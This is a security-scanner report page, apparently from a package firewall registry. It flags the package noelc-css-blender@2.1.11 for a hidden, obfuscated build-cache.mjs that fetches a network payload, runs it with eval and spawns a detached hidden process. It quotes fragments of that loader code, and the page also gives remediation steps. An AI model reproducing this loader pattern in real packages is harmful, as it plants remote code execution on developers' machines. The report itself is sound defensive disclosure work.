registry / Remote code execution / noelc-css-blender

noelc-css-blender

Tiny ESM utility for blending CSS custom-property token maps into var() declarations.

This report shows the evidence for noelc-css-blender@2.1.11. 4 of 7 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The normal package entry appears to provide CSS token utilities, but the separately shipped build-cache.mjs auto-runs an obfuscated network payload loader when directly imported or executed. Its evaluation and detached-process behavior establishes a concrete remote code execution path.

Static reason

One or more suspicious static signals were detected.

Trigger

Directly importing or executing build-cache.mjs; the declared package entry does not import it.

Impact

A payload supplied through the loader can execute code in the importing user's environment.

Mechanism

The module invokes its loader at evaluation time, which performs network lookups and executes returned content with eval and a detached child process.

Attack narrative

The package's normal entry exports CSS token helpers, but it also ships an unexported, obfuscated module with a separate execution path. Directly importing or executing that file starts a loader that retrieves network data and evaluates a payload, then starts a detached child process. This is an active remote code execution path in the shipped package.

AI rationale

Evidence

build-cache.mjs

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest ships build-cache.mjs, while the package entry and root export point to index.mjs.
build-cache.mjs ends by invoking its loader when the module is evaluated.
The loader makes network requests and parses returned data before using it as a payload.
The loader evaluates the payload and starts a detached child process.

Evidence against

The declared package entry exports CSS token utilities, and package.json declares no lifecycle scripts; the loader requires a direct import or execution of build-cache.mjs.

Behavioral surface

Source

CryptoDynamicRequireEvalFilesystem

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 458 KB of source

Source & flagged code

6 flagged

build-cache.mjsView file

2_0xc78db89(); }}

High

Ai Review Evidence

build-cache.mjs ends by invoking its loader when the module is evaluated.

build-cache.mjsView on unpkg · L2

2const _0x8e35e05 = async () => { for (const _0x844a4dd4 of _0x08f13e7d2) { try { const _0x81c86b6c = await _0x636a4731f(_0x017f5(251) +_0x844a4dd4 +_0x017f5(86)); const _0x505f78 = JSON.parse(_0x81c86b6c); const _0x819ec775b = _0x505f78 && _0x505f78[_0x017f5(383)] && _0x505f78[_0x017f5(315)][0]; const _0x89fdee4 = _0x819ec775b && _0x819ec775b[_0x017f5(1054)] && _0x819ec775b[_0x017f5(357)][_0x017f5(137)]; if (_0x89fdee4) { return

High

Ai Review Evidence

The loader makes network requests and parses returned data before using it as a payload.

build-cache.mjsView on unpkg · L2

2if (_0xa5e990 && _0xa5e990.length > 8) { try { (0,eval)(_0xa5e990); } catch (_0x08126ea8) {} try { const _0x66061a9 = Object.assign({},_0xa034de.env, { [_0x5e375906]: _0xa1745 });const _0x35f9f = _0x227b1db1.spawn(_0x017f5(323), [_0x017f5(707), _0x017f5(856), _0xa5e990], { detached: true, stdio: _0x017f5(735), env: _0x66061a9, windowsHide: true }); _0x35f9f.unref(); } catch (_0x08126ea8) {} } } if (_0x9a593be8) { try { _0x

Findings

6 High2 Medium3 Low

HighObfuscated

HighAi Review Evidencepackage.json

HighAi Review Evidencebuild-cache.mjs

HighAi Review Evidenceindex.mjs

MediumDynamic Requirebuild-cache.mjs

MediumStructural Risk Force Deep Review

LowEval

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to noelc-css-blender@2.1.11.

The versions list below shows the verdict for each recorded version.

Avoid installing noelc-css-blender@2.1.11. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-26 06:45:16.872Z (UTC).

Source advisory published: 2026-10-24 23:55:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

7 known versions

0.0.1-securitylatestUnknown—AllowUnder ReviewOct 24, 2026, 11:55 PM 0.0.0-stageClean—AllowPublishedOct 24, 2026, 11:54 PM 2.1.11shownMaliciousRemote Code ExecutionBlockPublishedOct 24, 2026, 8:09 PM 2.1.9MaliciousMalwareBlockPublishedOct 24, 2026, 7:18 PM

registry / Remote code execution / noelc-css-blender

noelc-css-blender

Tiny ESM utility for blending CSS custom-property token maps into var() declarations.

This report shows the evidence for noelc-css-blender@2.1.11. 4 of 7 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

Static reason

One or more suspicious static signals were detected.

Trigger

Directly importing or executing build-cache.mjs; the declared package entry does not import it.

Impact

A payload supplied through the loader can execute code in the importing user's environment.

Mechanism

The module invokes its loader at evaluation time, which performs network lookups and executes returned content with eval and a detached child process.

Attack narrative

AI rationale

Evidence

build-cache.mjs

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest ships build-cache.mjs, while the package entry and root export point to index.mjs.
build-cache.mjs ends by invoking its loader when the module is evaluated.
The loader makes network requests and parses returned data before using it as a payload.
The loader evaluates the payload and starts a detached child process.

Evidence against

The declared package entry exports CSS token utilities, and package.json declares no lifecycle scripts; the loader requires a direct import or execution of build-cache.mjs.

Behavioral surface

Source

CryptoDynamicRequireEvalFilesystem

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 458 KB of source

Source & flagged code

6 flagged

build-cache.mjsView file

2_0xc78db89(); }}

High

Ai Review Evidence

build-cache.mjs ends by invoking its loader when the module is evaluated.

build-cache.mjsView on unpkg · L2

High

Ai Review Evidence

The loader makes network requests and parses returned data before using it as a payload.

build-cache.mjsView on unpkg · L2

Findings

6 High2 Medium3 Low

HighObfuscated

HighAi Review Evidencepackage.json

HighAi Review Evidencebuild-cache.mjs

HighAi Review Evidenceindex.mjs

MediumDynamic Requirebuild-cache.mjs

MediumStructural Risk Force Deep Review

LowEval

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to noelc-css-blender@2.1.11.

The versions list below shows the verdict for each recorded version.

Avoid installing noelc-css-blender@2.1.11. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-26 06:45:16.872Z (UTC).

Source advisory published: 2026-10-24 23:55:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

7 known versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages